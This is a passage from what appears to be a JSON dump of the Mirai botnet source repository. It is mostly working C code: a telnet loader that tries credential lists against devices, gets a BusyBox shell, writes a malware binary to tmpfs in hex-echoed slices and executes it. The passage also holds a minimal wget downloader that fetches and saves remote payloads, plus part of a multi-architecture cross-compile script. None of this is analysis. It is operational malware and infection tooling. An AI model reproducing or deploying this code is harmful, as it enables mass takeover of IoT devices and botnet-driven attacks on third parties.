state->endianness, \n        state->arch\n    );\n    fclose(outfd);\n    */\n    \n    found_srvs++;\n}\n\nvoid closeAndCleanup(int fd)\n{\n    if(stateTable[fd].slotUsed && stateTable[fd].fd == fd)\n    {\n        stateTable[fd].slotUsed = 0;\n        stateTable[fd].state = 0;\n        stateTable[fd].path[0][0] = 0;\n        stateTable[fd].path[1][0] = 0;\n        stateTable[fd].path[2][0] = 0;\n        stateTable[fd].path[3][0] = 0;\n        stateTable[fd].path[4][0] = 0;\n        stateTable[fd].username[0] = 0;\n        stateTable[fd].password[0] = 0;\n        stateTable[fd].echoInd = 0;\n        stateTable[fd].pathInd = 0;\n        stateTable[fd].success = 0;\n        stateTable[fd].special = 0;\n        stateTable[fd].got_prompt = 0;\n    \n        if(stateTable[fd].is_open)\n        {\n            stateTable[fd].is_open = 0;\n            \n            shutdown(fd, SHUT_RDWR);\n            struct linger linger;\n            linger.l_onoff = 1;\n            linger.l_linger = 0;\n            setsockopt(fd, SOL_SOCKET, SO_LINGER, (char *) &linger, sizeof(linger));\n            close(fd);\n        }\n    }\n}\n\nvoid updateAccessTime(int fd)\n{\n    if(stateTable[fd].slotUsed && stateTable[fd].fd == fd)\n    {\n        stateTable[fd].updatedAt = time(NULL);\n    }\n}\n\nint getConnectedSockets()\n{\n    int q = 0, i = 0;\n    for(q = 0; q < maxFDSaw; q++) if(stateTable[q].slotUsed) i++;\n\n    return i;\n}\n\nvoid *flood(void *par1)\n{\n    __sync_fetch_and_add(&running_threads, 1);\n\n    unsigned char buf[10241] = {0};\n\n    struct epoll_event pevents[25] = {0};\n    int ret = 0, i = 0, got = 0, ii = 0;\n    while((ret = epoll_wait( epollFD, pevents, 25, 10000 )) >= 0 || (ret == -1 && errno == EINTR))\n    {\n        if(ret == 0) continue;\n        for(i = 0; i < ret; i++)\n        {\n            if((pevents[i].events & EPOLLERR) || (pevents[i].events & EPOLLHUP) || (pevents[i].events & EPOLLRDHUP) || (!(pevents[i].events & EPOLLIN) && !(pevents[i].events & EPOLLOUT)))\n            {\n                struct stateSlot_t *state = &stateTable[pevents[i].data.fd];\n                if (state->state == 0) handle_failed_connect(state->fd);\n                else handle_remote_closed(state->fd);\n                pthread_mutex_lock(&state->mutex);\n                closeAndCleanup(state->fd);\n                pthread_mutex_unlock(&state->mutex);\n            } else if(pevents[i].events & EPOLLIN)\n            {\n                int is_closed = 0;\n                struct stateSlot_t *state = &stateTable[pevents[i].data.fd];\n                \n                memset(buf, 0, 10241);\n                \n                pthread_mutex_lock(&state->mutex);\n                int old_state = state->state;\n                \n                got = 0;\n                do\n                {\n                    if(state->state == 1)\n                    {\n                        if ((got = log_recv(state->fd, buf, 1, MSG_PEEK)) > 0 && buf[0] == 0xFF)\n                            state->state = 2;\n                        \n                        if (got > 0 && buf[0] != 0xFF)\n                            state->state = 3;\n                    }\n\n                    if (state->state == 2)\n                    {\n                        //from first peek\n                        log_recv(state->fd, buf, 1, 0);\n                        \n                        got = log_recv(state->fd, buf + 1, 2, 0);\n                        if (got > 0)\n                        {\n                            state->state = 1;\n                            \n                            if (buf[1] == 0xFD && buf[2] == 31)\n                            {\n                                unsigned char tmp1[3] = {255, 251, 31};\n                                log_send(state->fd, tmp1, 3, MSG_NOSIGNAL);\n                                unsigned char tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};\n                                log_send(state->fd, tmp2, 9, MSG_NOSIGNAL);\n                                continue;\n                            }\n                            \n                            for (ii = 0; ii < 3; ii++)\n                            {\n                                    if (buf[ii] == 0xFD) buf[ii] = 0xFC;\n                                    else if (buf[ii] == 0xFB) buf[ii] = 0xFD;\n                            }\n                            log_send(state->fd, buf, 3, MSG_NOSIGNAL);\n                        }\n                    }\n                } while(got > 0 && state->state != 3);\n                \n                if (state->state == 3)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        //special case for huawei\n                        if (memmem(buf, got, \"Huawei Home Gateway\", 19) != NULL)\n                            state->special = 1;\n                        \n                        if (memmem(buf, got, \"BusyBox\", 7) != NULL)\n                        {\n                            state->got_prompt = 1;\n                            \n                            //maybe we are logged in already? LOL\n                            sockprintf(state->fd, \"enable\\r\\n\");\n                            state->state = 7;\n                            break;\n                        }\n                        \n                        if (memmem(buf, got, \"ogin\", 4) != NULL || memmem(buf, got, \"sername\", 7) != NULL || matchPrompt(buf))\n                        {\n                            state->got_prompt = 1;\n                            \n                            sockprintf(state->fd, \"%s\\r\\n\", state->username);\n                            state->state = 4;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 4)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (memmem(buf, got, \"assword\", 7) != NULL || matchPrompt(buf))\n                        {\n                            sockprintf(state->fd, \"%s\\r\\n\", state->password);\n                            state->state = 5;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 5)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strcasestr(buf, \"access denied\") != NULL || strcasestr(buf, \"invalid password\") != NULL || strcasestr(buf, \"login incorrect\") != NULL || strcasestr(buf, \"password is wrong\") != NULL)\n                        {\n                            //bad login. reconnect and retry\n                            state->state = 254;\n                            break;\n                        }\n                        \n                        if (strcasestr(buf, \"BusyBox\") != NULL || matchPrompt(buf))\n                        {\n                            //REASONABLY sure we got a good login.\n                            sockprintf(state->fd, \"enable\\r\\n\");\n                            state->state = 6;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 6)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        sockprintf(state->fd, \"shell\\r\\n\");\n                        state->state = 7;\n                        break;\n                    }\n                }\n                \n                if (state->state == 7)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        sockprintf(state->fd, \"sh\\r\\n\");\n                        if (state->special == 1)\n                        {\n                            state->state = 250;\n                        } else {\n                            state->state = 8;\n                        }\n                        break;\n                    }\n                }\n                \n                if (state->state == 8)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (matchPrompt(buf))\n                        {\n                            sockprintf(state->fd, \"%s\\r\\n\", TOKEN);\n                            state->state = 9;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 9)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strcasestr(buf, TOKEN_VERIFY) != NULL && matchPrompt(buf))\n                        {\n                            sockprintf(state->fd, \"cat /proc/mounts\\r\\n\");\n                            state->state = 10;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 10)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strstr(buf, \"tmpfs\") != NULL || strstr(buf, \"ramfs\") != NULL)\n                        {\n                            char *tmp_buf = buf;\n                            char *start = NULL;\n                            char *space = NULL;\n                            int memes = 0;\n                            do\n                            {\n                                start = strstr(tmp_buf, \"tmpfs\") != NULL ? strstr(tmp_buf, \"tmpfs\") : strstr(tmp_buf, \"ramfs\");\n                                space = strchr(start, ' ');\n                                if (start != tmp_buf && *(start - 1) != '\\n')\n                                {\n                                    //this is a middle of line find\n                                    while(start > buf && *start != '\\n') start--;\n                                    \n                                    //WEVE GONE TOO FAR GOTTA BLAST\n                                    if (start == buf)\n                                        continue;\n                                    \n                                    start++;\n                                    space = strchr(start, ' ');\n                                }\n                                \n                                if (space[1] == '/')\n                                {\n                                    int iii = 1;\n\n                                    for (iii = 1; ; iii++) {\n                                        if (space[iii] == '\\0' || space[iii] == ' ') {\n                                            break;\n                                        }\n                                    }\n                                    \n                                    if (iii > 1) {\n                                        strncpy(state->path[memes], &space[1], iii - 1);\n                                        state->path[memes][iii - 1] = '\\0';\n                                        memes++;\n                                    }\n                                    \n                                    space = space + iii; \n                                    if (space[0] != '\\0')\n                                    {\n                                        for (iii = 1; ; iii++) {\n                                            if (space[iii] == '\\0' || space[iii] == ' ') {\n                                                break;\n                                            }\n                                        }\n                                        space = space + iii;\n                                    } else {\n                                        break;\n                                    }\n                                }\n                                \n                                tmp_buf = space;\n                            } while(strstr(tmp_buf, \"tmpfs\") != NULL || strstr(tmp_buf, \"ramfs\") != NULL && memes < 5);\n                            \n                            if (strlen(state->path[0]) == 0)\n                            {\n                                strcpy(state->path[0], \"/\");\n                            }\n                            \n                            sockprintf(state->fd, \"/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\\r\\n\", state->path[0], state->path[0], state->path[0]);\n                            state->state = 100;\n                            break;\n                        } else if (matchPrompt(buf))\n                        {\n                            strcpy(state->path[0], \"/var/run\");\n                            sockprintf(state->fd, \"/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\\r\\n\", state->path[0], state->path[0], state->path[0]);\n                            state->state = 100;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 100)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strcasestr(buf, \"applet not found\") != NULL)\n                        {\n                            sockprintf(state->fd, \"/bin/busybox echo -ne '' > %s/a && /bin/busybox VDOSS\\r\\n\", state->path[state->pathInd]);\n                            state->state = 101;\n                            break;\n                        } else if (matchPrompt(buf))\n                        {\n                            state->pathInd++;\n                            if (state->pathInd == 5 || strlen(state->path[state->pathInd]) == 0)\n                            {\n                                strcpy(state->path[0], \"/var/run\");\n                                state->pathInd = 0;\n                                sockprintf(state->fd, \"/bin/busybox echo -ne '' > %s/a && /bin/busybox VDOSS\\r\\n\", state->path[state->pathInd]);\n                                state->state = 101;\n                                break;\n                            }\n                            sockprintf(state->fd, \"/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\\r\\n\", state->path[state->pathInd], state->path[state->pathInd], state->path[state->pathInd]);\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 101)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strcasestr(buf, \"applet not found\") != NULL)\n                        {\n                            sockprintf(state->fd, \"/bin/busybox echo -ne %s >> %s/a && /bin/busybox VDOSS\\r\\n\", binary.slices[state->echoInd++], state->path[state->pathInd]);\n                            if (state->echoInd == binary.num_slices) state->state = 102;\n                            else state->state = 101;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 102)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strcasestr(buf, \"applet not found\") != NULL)\n                        {\n                            sockprintf(state->fd, \"%s/a %s; /bin/busybox VDOSS\\r\\n\", state->path[state->pathInd], run_arg);\n                            state->state = 103;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 103)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (strcasestr(buf, \"applet not found\") != NULL)\n                        {\n                            state->state = 255;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 250)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (matchPrompt(buf))\n                        {\n                            sockprintf(state->fd, \"show text /proc/self/environ\\r\\n\");\n                            state->state = 251;\n                            break;\n                        }\n                    }\n                }\n                \n                if (state->state == 251)\n                {\n                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)\n                    {\n                        if (memmem(buf, got, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\", 16) != NULL || matchPrompt(buf))\n                        {\n                            sockprintf(state->fd, \"export PS1=\\\"prompt>\\\"\\r\\n\");\n                            state->state = 8;\n                            break;\n                        }\n                    }\n                }\n                \n                //reconnect and retry\n                if (state->state == 254)\n                {\n                    closeAndCleanup(state->fd); \n                    is_closed = 1;\n                }\n                \n                if (state->state == 255)\n                {\n                    if (state->success)\n                    {\n                        handle_found(state->fd);\n                    }\n                    closeAndCleanup(state->fd); \n                    is_closed = 1;\n                }\n                \n                if (state->slotUsed && (old_state != state->state || state->state == 101))\n                    updateAccessTime(state->fd);\n                \n                pthread_mutex_unlock(&state->mutex);\n                \n                if (!is_closed)\n                {\n                    struct epoll_event event = {0};\n                    event.data.fd = state->fd;\n                    event.events = EPOLLIN | EPOLLRDHUP | EPOLLET | EPOLLONESHOT;\n                    epoll_ctl(epollFD, EPOLL_CTL_MOD, state->fd, &event);\n                }\n            } else if(pevents[i].events & EPOLLOUT)\n            {   \n                struct stateSlot_t *state = &stateTable[pevents[i].data.fd];\n                \n                pthread_mutex_lock(&state->mutex);\n                if(state->state == 0)\n                {\n                    int so_error = 0;\n                    socklen_t len = sizeof(so_error);\n                    getsockopt(state->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);\n                    if (so_error) {  handle_failed_connect(state->fd); closeAndCleanup(state->fd); pthread_mutex_unlock(&state->mutex); continue; }\n                    \n                    state->state = 1;\n                    \n                    pevents[i].events = EPOLLIN | EPOLLRDHUP | EPOLLET | EPOLLONESHOT;\n                    epoll_ctl(epollFD, EPOLL_CTL_MOD, state->fd, &pevents[i]);\n                } else {\n                    printf(\"wrong state on connect epoll: %d\\n\", state->fd);\n                    closeAndCleanup(state->fd);\n                }\n                pthread_mutex_unlock(&state->mutex);\n            }\n        }\n    }\n\n    __sync_fetch_and_sub(&running_threads, 1);\n\n    return NULL;\n}\n\nvoid sighandler(int sig)\n{\n    printf(\"\\nctrl-c\\n\");\n    exit(0);\n}\n\nvoid chomp(char *s)\n{\n    while(*s && *s != '\\n' && *s != '\\r') s++;\n    *s = 0;\n}\n\nvoid *loader(void *threadCount)\n{\n    char readmelolfgt[1024], *hahgay;\n    memset(readmelolfgt, 0, 1024);\n\n    char *pch = NULL;\n    char *running, *orig, *token;\n    while(fgets(readmelolfgt, 1024, infd) != NULL)\n    {\n        while(getConnectedSockets() > (maxConnectedSockets - 1))\n        {\n            int curTime = time(NULL);\n            int q;\n            for(q = 0; q < maxFDSaw; q++)\n            {\n                pthread_mutex_lock(&stateTable[q].mutex);\n                if(stateTable[q].slotUsed && curTime > (stateTable[q].updatedAt + 60) && stateTable[q].reconnecting == 0)\n                {\n                    if (stateTable[q].state == 0) handle_failed_connect(stateTable[q].fd);\n                    else handle_timeout(stateTable[q].fd);\n                    \n                    closeAndCleanup(stateTable[q].fd);\n                }\n                pthread_mutex_unlock(&stateTable[q].mutex);\n            }\n\n            usleep(1000000);\n        }\n        running = orig = strdup(readmelolfgt);\n\n        token = strsep(&running, \":\");\n        if(token == NULL || inet_addr(token) == -1) { free(orig); continue; }\n        struct sockaddr_in dest_addr = {0};\n        memset(&dest_addr, 0, sizeof(struct sockaddr_in));\n        dest_addr.sin_family = AF_INET;\n        dest_addr.sin_port = htons(23);\n        dest_addr.sin_addr.s_addr = inet_addr(token);\n        \n        int fd = 0;\n        struct sockaddr_in my_addr = {0};\n\n        do\n        {\n            if (errno != EBADF && fd > 0)\n                close(fd);\n            \n            fd = 0;\n\n            if((fd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))<0)\n            {\n                perror(\"cant open socket\");\n                exit(-1);\n            }\n            fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, NULL) | O_NONBLOCK);\n            int flag = 1; \n            setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, sizeof(int));\n\n            memset(&my_addr, 0, sizeof(struct sockaddr_in));\n            my_addr.sin_addr.s_addr = inet_addr(bind_ip);\n            my_addr.sin_port = htons(port++);\n            my_addr.sin_family = AF_INET;\n            errno = 0;\n        } while(bind(fd, (struct sockaddr *)&my_addr, sizeof(my_addr)) != 0);\n\n        printf(\"bound\\n\");\n\n        int res = 0;\n        res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));\n        if(res < 0 && errno != EINPROGRESS) { close(fd); continue; }\n\n        if(fd > maxFDSaw) maxFDSaw = fd + 1;\n\n        pthread_mutex_lock(&stateTable[fd].mutex);\n        if(!stateTable[fd].slotUsed)\n        {\n\n            printf(\"memes\\n\");\n            stateTable[fd].fd = fd;\n            stateTable[fd].updatedAt = time(NULL);\n            stateTable[fd].slotUsed = 1;\n            stateTable[fd].state = 0;\n            stateTable[fd].is_open = 1;\n            stateTable[fd].special = 0;\n            \n            token = strsep(&running, \":\");\n            strcpy(stateTable[fd].username, token);\n            \n            token = strsep(&running, \":\");\n            strcpy(stateTable[fd].password, token);\n        } else {\n            printf(\"used slot found in loader thread?\\n\");\n        }\n        pthread_mutex_unlock(&stateTable[fd].mutex);\n\n        struct epoll_event event = {0};\n        event.data.fd = fd;\n        event.events = EPOLLOUT | EPOLLRDHUP | EPOLLET | EPOLLONESHOT;\n        epoll_ctl(epollFD, EPOLL_CTL_ADD, fd, &event);\n        \n        free(orig);\n    }\n    \n    printf(\"done reading input file.\\n\");\n\n    while(1)\n    {\n        int curTime = time(NULL);\n        int q;\n        for(q = 0; q < maxFDSaw; q++)\n        {\n            pthread_mutex_lock(&stateTable[q].mutex);\n            if(stateTable[q].slotUsed && curTime > (stateTable[q].updatedAt + 60) && stateTable[q].reconnecting == 0)\n            {\n                if (stateTable[q].state == 0) handle_failed_connect(stateTable[q].fd);\n                else handle_timeout(stateTable[q].fd);\n                \n                closeAndCleanup(stateTable[q].fd);\n            }\n            pthread_mutex_unlock(&stateTable[q].mutex);\n        }\n\n        sleep(1);\n    }\n\n    close(epollFD);\n}\n\nint load_binary(char *path)\n{\n    // /proc/self/exe still works even when we delete ourselves l0l\n    int fd, size = 0, got = 0, i, slice = 0;\n    unsigned char ch;\n    \n    if ((fd = open(path, O_RDONLY)) == -1)\n        return -1;\n    while ((got = read(fd, &ch, 1)) > 0) size++;\n    close(fd);\n    \n    binary.num_slices = ceil(size / (float)BYTES_PER_LINE);\n    binary.slices = calloc(binary.num_slices, sizeof(unsigned char *));\n    if (binary.slices == NULL)\n        return -1;\n        \n    for (i = 0; i < binary.num_slices; i++)\n    {\n        binary.slices[i] = calloc(1, MAX_SLICE_LENGTH + 1);\n        if (binary.slices[i] == NULL)\n            return -1;\n    }\n    \n    if ((fd = open(path, O_RDONLY)) == -1)\n        return -1;\n    do\n    {\n        for (i = 0; i < BYTES_PER_LINE; i++)\n        {\n            got = read(fd, &ch, 1);\n            if (got != 1) break;\n            \n            sprintf(binary.slices[slice] + strlen(binary.slices[slice]), \"\\\\\\\\x%02X\", ch);\n        }\n        \n        slice++;\n    } while(got > 0);\n    close(fd);\n    \n    return 0;\n}\n\nint main(int argc, char *argv[ ])\n{\n    if(argc < 4){\n        fprintf(stderr, \"Invalid parameters!\\n\");\n        fprintf(stdout, \"Usage: %s <bind ip> <input file> <file_to_load> <argument> <threads> <connections> (debug mode)\\n\", argv[0]);\n        exit(-1);\n    }\n    \n    signal(SIGPIPE, SIG_IGN);\n    \n    epollFD = epoll_create(0xDEAD);\n    bind_ip = argv[1];\n    infd = fopen(argv[2], \"r\");\n    signal(SIGINT, &sighandler);\n    int threads = atoi(argv[5]);\n    maxConnectedSockets = atoi(argv[6]);\n    \n    if (argc == 8)\n        debug_mode = 1;\n    \n    int i;\n    for(i = 0; i < (1024 * 100); i++)\n    {\n        pthread_mutex_init(&stateTable[i].mutex, NULL);\n    }\n\n    load_binary(argv[3]);\n    run_arg = argv[4];\n\n    pthread_t thread;\n    pthread_create( &thread, NULL, &loader, (void *) &threads);\n\n    for(i = 0; i < threads; i++) pthread_create( &thread, NULL, &flood, (void *) NULL);\n\n    char timeText[100];\n    time_t now = time(NULL);\n    struct tm *t = localtime(&now);\n    strftime(timeText, sizeof(timeText)-1, \"%d %b %Y %l:%M %p %Z\", t);\n\n    printf(\"Starting Scan at %s\\n\", timeText);\n    char temp[17] = {0};\n    memset(temp, 0, 17);\n    sprintf(temp, \"Loaded\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"State Timeout\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"No Connect\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"Closed Us\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"Logins Tried\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"B/s\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"Connected\");\n    printf(\"%-16s\", temp);\n    memset(temp, 0, 17);\n    sprintf(temp, \"Running Thrds\");\n    printf(\"%s\", temp);\n    printf(\"\\n\");\n\n    sleep(1);\n\n    char *new;\n    new = (char *)malloc(16*6);\n    while (debug_mode ? 1 : running_threads > 0)\n    {\n        printf(\"\\r\");\n        memset(new, '\\0', 16*6);\n        sprintf(new, \"%s|%-15lu\", new, found_srvs);\n        sprintf(new, \"%s|%-15lu\", new, timed_out);\n        sprintf(new, \"%s|%-15lu\", new, failed_connect);\n        sprintf(new, \"%s|%-15lu\", new, remote_hangup);\n        sprintf(new, \"%s|%-15lu\", new, login_done);\n        sprintf(new, \"%s|%-15d\", new, bytes_sent);\n        sprintf(new, \"%s|%-15lu\", new, getConnectedSockets());\n        sprintf(new, \"%s|%-15d\", new, running_threads);\n        printf(\"%s\", new);\n        fflush(stdout);\n        bytes_sent=0;\n        sleep(1);\n    }\n    printf(\"\\n\");\n\n    now = time(NULL);\n    t = localtime(&now);\n    strftime(timeText, sizeof(timeText)-1, \"%d %b %Y %l:%M %p %Z\", t);\n    printf(\"Scan finished at %s\\n\", timeText);\n    return 0;\n}"
  },
  {
    "path": "mirai/tools/wget.c",
    "content": "#include <sys/types.h>\n//#include <bits/syscalls.h>\n#include <sys/syscall.h>\n#include <fcntl.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <string.h>\n\n#define EXEC_MSG            \"MIRAI\\n\"\n#define EXEC_MSG_LEN        6\n\n#define DOWNLOAD_MSG        \"FIN\\n\"\n#define DOWNLOAD_MSG_LEN    4\n\n#define STDIN   0\n#define STDOUT  1\n#define STDERR  2\n\n#if BYTE_ORDER == BIG_ENDIAN\n#define HTONS(n) (n)\n#define HTONL(n) (n)\n#elif BYTE_ORDER == LITTLE_ENDIAN\n#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8))\n#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \\\n                  ((((unsigned long)(n) & 0xff00)) << 8) | \\\n                  ((((unsigned long)(n) & 0xff0000)) >> 8) | \\\n                  ((((unsigned long)(n) & 0xff000000)) >> 24))\n#else\n#error \"Fix byteorder\"\n#endif\n\n#ifdef __ARM_EABI__\n#define SCN(n) ((n) & 0xfffff)\n#else\n#define SCN(n) (n)\n#endif\n\n/* stdlib calls */\nint xsocket(int, int, int);\nint xwrite(int, void *, int);\nint xread(int, void *, int);\nint xconnect(int, struct sockaddr_in *, int);\nint xopen(char *, int, int);\nint xclose(int);\nvoid x__exit(int);\n\n#define socket xsocket\n#define write xwrite\n#define read xread\n#define connect xconnect\n#define open xopen\n#define close xclose\n#define __exit x__exit\n\n#ifdef DEBUG\nvoid xprintf(char *str)\n{\n    write(1, str, strlen(str));\n}\n#define printf xprintf\n#endif\n\n// wget ip_address remote_file host\nint main(int argc, char **args)\n{\n    char recvbuf[128];\n    struct sockaddr_in addr;\n    int sfd, ffd;\n    unsigned int header_parser = 0;\n\n    write(STDOUT, EXEC_MSG, EXEC_MSG_LEN);\n\n    addr.sin_family = AF_INET;\n    addr.sin_port = HTONS(80);\n    addr.sin_addr.s_addr = inet_addr(args[1]);\n\n    ffd = open(\"wget_bin\", O_WRONLY | O_CREAT | O_TRUNC, 0777);\n    sfd = socket(AF_INET, SOCK_STREAM, 0);\n\n#ifdef DEBUG\n    if (ffd == -1)\n        printf(\"Failed to open file!\\n\");\n    if (sfd == -1)\n        printf(\"Failed to call socket()\\n\");\n#endif\n\n    if (sfd == -1 || ffd == -1)\n        __exit(1);\n\n    if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1)\n        __exit(2);\n\n    write(sfd, \"GET \", 4);\n    write(sfd, args[2], strlen(args[2]));\n    write(sfd, \" HTTP/1.1\\r\\n\", 11);\n    write(sfd, \"Host: \", 6);\n    write(sfd, args[3], strlen(args[3]));\n    write(sfd, \"\\r\\nConnection: close\\r\\n\\r\\n\", 23);\n\n    while (header_parser != 0x0d0a0d0a)\n    {\n        char ch;\n        int ret = read(sfd, &ch, 1);\n\n        if (ret != 1)\n            __exit(4);\n        header_parser = (header_parser << 8) | ch;\n    }\n#ifdef DEBUG\n    printf(\"Finished receiving HTTP header\\n\");\n#endif\n\n    while (1)\n    {\n        int ret = read(sfd, recvbuf, sizeof (recvbuf));\n\n        if (ret <= 0)\n            break;\n        write(ffd, recvbuf, ret);\n    }\n\n    close(sfd);\n    close(ffd);\n    write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN);\n    __exit(5);\n}\n\nint xsocket(int domain, int type, int protocol)\n{\n#if !defined(__NR_socket)\n    struct {\n        int domain, type, protocol;\n    } socketcall;\n    socketcall.domain = domain;\n    socketcall.type = type;\n    socketcall.protocol = protocol;\n    return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall);\n#else\n    return syscall(SCN(SYS_socket), domain, type, protocol);\n#endif\n}\n\nint xread(int fd, void *buf, int len)\n{\n    return syscall(SCN(SYS_read), fd, buf, len);\n}\n\nint xwrite(int fd, void *buf, int len)\n{\n    return syscall(SCN(SYS_write), fd, buf, len);\n}\n\nint xconnect(int fd, struct sockaddr_in *addr, int len)\n{\n#if !defined(__NR_socket)\n    struct {\n        int fd;\n        struct sockaddr_in *addr;\n        int len;\n    } socketcall;\n    socketcall.fd = fd;\n    socketcall.addr = addr;\n    socketcall.len = len;\n    return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall);\n#else\n    return syscall(SCN(SYS_connect), fd, addr, len);\n#endif\n}\n\nint xopen(char *path, int flags, int other)\n{\n    return syscall(SCN(SYS_open), path, flags, other);\n}\n\nint xclose(int fd)\n{\n    return syscall(SCN(SYS_close), fd);\n}\n\nvoid x__exit(int code)\n{\n    syscall(SCN(SYS_exit), code);\n}\n"
  },
  {
    "path": "scripts/cross-compile.sh",
    "content": "#!/bin/bash\n\nif [ \"$(id -u)\" != \"0\" ]; then\n   echo \"This script must be run as root\" 1>&2\n   exit 1\nfi\n\necho -n \"Install mysql-server and mysql-client (y/n)? \"\nold_stty_cfg=$(stty -g)\nstty raw -echo\nanswer=$( while ! head -c 1 | grep -i '[ny]' ;do true ;done )\nstty $old_stty_cfg\nif echo \"$answer\" | grep -iq \"^y\" ;then\n    echo \"Installing mysql...\"\n    apt-get install -y mysql-server mysql-client\nfi\n\necho -n \"Installing gcc, golang, electric-fence...\"\napt-get install -y gcc golang electric-fence\n\necho \"Creating folder /etc/xcompile\"\nmkdir /etc/xcompile > /dev/null 2>&1\n\ncd ../cross-compile-bin\necho \"Copy cross-compiler-armv4l.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-armv4l.tar.bz2 /etc/xcompile/cross-compiler-armv4l.tar.bz2\necho \"Copy cross-compiler-armv5l.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-armv5l.tar.bz2 /etc/xcompile/cross-compiler-armv5l.tar.bz2\necho \"Copy cross-compiler-armv6l.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-armv6l.tar.bz2 /etc/xcompile/cross-compiler-armv6l.tar.bz2\necho \"Copy cross-compiler-i586.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-i586.tar.bz2 /etc/xcompile/cross-compiler-i586.tar.bz2\necho \"Copy cross-compiler-m68k.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-m68k.tar.bz2 /etc/xcompile/cross-compiler-m68k.tar.bz2\necho \"Copy cross-compiler-mips.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-mips.tar.bz2 /etc/xcompile/cross-compiler-mips.tar.bz2\necho \"Copy cross-compiler-mipsel.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-mipsel.tar.bz2 /etc/xcompile/cross-compiler-mipsel.tar.bz2\necho \"Copy cross-compiler-powerpc.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-powerpc.tar.bz2 /etc/xcompile/cross-compiler-powerpc.tar.bz2\necho \"Copy cross-compiler-sh4.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-sh4.tar.bz2 /etc/xcompile/cross-compiler-sh4.tar.bz2\necho \"Copy cross-compiler-sparc.tar.bz2 to /etc/xcompile\"\ncp cross-compiler-sparc.tar.bz2 /etc/xcompile/cross-compiler-sparc.tar.bz2\n\ncd /etc/xcompile\necho \"extracting cross-compiler-armv4l.tar.bz2 ...\"\ntar -jxf cross-compiler-armv4l.tar.bz2\necho \"extracting cross-compiler-armv5l.tar.bz2 ...\"\ntar -jxf cross-compiler-armv5l.tar.bz2\necho \"extracting cross-compiler-armv6l.tar.bz2 ...\"\ntar -jxf cross-compiler-armv6l.tar.bz2\necho \"extracting cross-compiler-i586.tar.bz2 ...\"\ntar -jxf cross-compiler-i586.tar.bz2\necho \"extracting cross-compiler-m68k.tar.bz2 ...\"\ntar -jxf cross-compiler-m68k.tar.bz2\necho \"extracting cross-compiler-mips.tar.bz2 ...\"\ntar -jxf cross-compiler-mips.tar.bz2\necho \"extracting cross-compiler-mipsel.tar.bz2 ...\"\ntar -jxf cross-compiler-mipsel.tar.bz2\necho \"extracting cross-compiler-powerpc.tar.bz2 